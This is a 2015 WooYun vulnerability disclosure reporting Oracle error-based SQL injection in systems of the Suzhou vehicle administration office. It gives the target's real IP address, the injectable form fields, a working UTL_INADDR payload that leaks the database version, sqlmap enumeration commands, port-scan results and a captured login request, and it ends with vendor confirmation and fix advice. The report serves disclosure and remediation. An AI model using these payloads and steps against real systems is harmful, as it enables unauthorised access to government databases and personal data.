漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0113925
漏洞标题：苏州车管所两个重要系统oracle报错注入漏洞
相关厂商：苏州车管所
漏洞作者： myhalo
提交时间：2015-05-13 16:54
修复时间：2015-06-29 16:06
公开时间：2015-06-29 16:06
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(公安部一所)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-13： 细节已通知厂商并且等待厂商处理中
2015-05-15： 厂商已经确认，细节仅向厂商公开
2015-05-25： 细节向核心白帽子及相关领域专家公开
2015-06-04： 细节向普通白帽子公开
2015-06-14： 细节向实习白帽子公开
2015-06-29： 细节向公众公开
简要描述：
最近在乌云招聘投简历，很感激大家没有嫌弃我这个路人、
然后继续跑来刷点洞、oracle也来一发、
详细说明：
0x1、漏洞地址：http://58.210.126.195/
这首先会验证身份证号码的合法性，所以一定要是一个真实存在的身份证号码，然后姓名处存在注入.（参数：TextBox_xm）
报错证明：众所周知，oracle可以通过UTL_INADDR.GET_HOST_ADDRESS()函数来进行报错注入的，于是构造下payload.
payload:'AND 3551=UTL_INADDR.GET_HOST_ADDRESS(chr(104)||chr(97)||chr(108)||chr(48)||chr(94)||
(SELECT banner FROM v$version where rownum=1)
||chr(94)||chr(104)||chr(97)||chr(108)||chr(48)) AND 'hal0'='hal0
可以看到能够成功爆出数据库版本了Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
然后抓包丢sqlmap里面跑一下：（如果想看详细的注入语句的话 sqlmap xxxx -v3）就可以了。
如：sqlmap -r post.txt -p TextBox_xm --dbms oracle --dbs -v3 很奇怪测试的时候指定
看到了很多的库，所以准备去扫下端口。
80/tcp open http Microsoft IIS httpd 7.5
1521/tcp open oracle-tns Oracle TNS Listener
3389/tcp open ms-wbt-server Microsoft Terminal Service
8001/tcp open http Microsoft IIS httpd 7.5
8010/tcp open http Microsoft IIS httpd 7.5
9000/tcp open http Microsoft IIS httpd 7.5
9001/tcp open http Microsoft IIS httpd 7.5
9080/tcp open http IBM WebSphere Application Server 7.0
数据库端口是开着的、然后还发下如下三个系统可以正常访问。
机动车及驾驶证业务收费系统：http://58.210.126.195:8001/
驾驶人满分学习管理系统 ：http://58.210.126.195:8010/
0x2、机动车转移登记预录入系统：http://58.210.126.195:9000/
该系统同样存在报错注入：抓包、直接列出当前库
POST / HTTP/1.1
Host: 58.210.126.195:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://58.210.126.195:9000/
Cookie: ASP.NET_SessionId=n51t0pffxtuzloouwftyn1zj; Hm_lvt_f5127c6793d40d199f68042b8a63e725=1431425829; Hm_lpvt_f5127c6793d40d199f68042b8a63e725=1431437962
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 417
__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTc3NDkyNzgyN2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDEltYWdlQnV0dG9uMdNS9qVUl43BDLfhaxcLyd39qNjRFZp%2BQTk1jx3R9CdP&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=%2FwEWBAKa3%2B1wAqLHwaUFAtLCmdMIAuyL0%2BQJQXAaza0vq4sGU%2F1WMO0bhjLgxXQsq31lNd3JnTpdzX4%3D&TextBox_userxh=admin&ImageButton1.x=47&ImageButton1.y=16&TextBox_password=admin&mac=
然后：sqlmap -r post2.txt -p TextBox_userxh --level 3 --current-db
这几天网速有点慢，(好像他们服务器也响应慢)就不一一暴库了、
漏洞证明：
修复方案：
1、对如上参数进行过滤处理、
2、限制oracle外网连接（除非你们外网还有服务器会公用这个服务器）、
3、如果没有必要的话、将3389好端口也禁用了吧、
版权声明：转载请注明来源 myhalo@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2015-05-15 16:04
厂商回复：
验证确认所描述的问题，已通知其修复。
最新状态：
暂无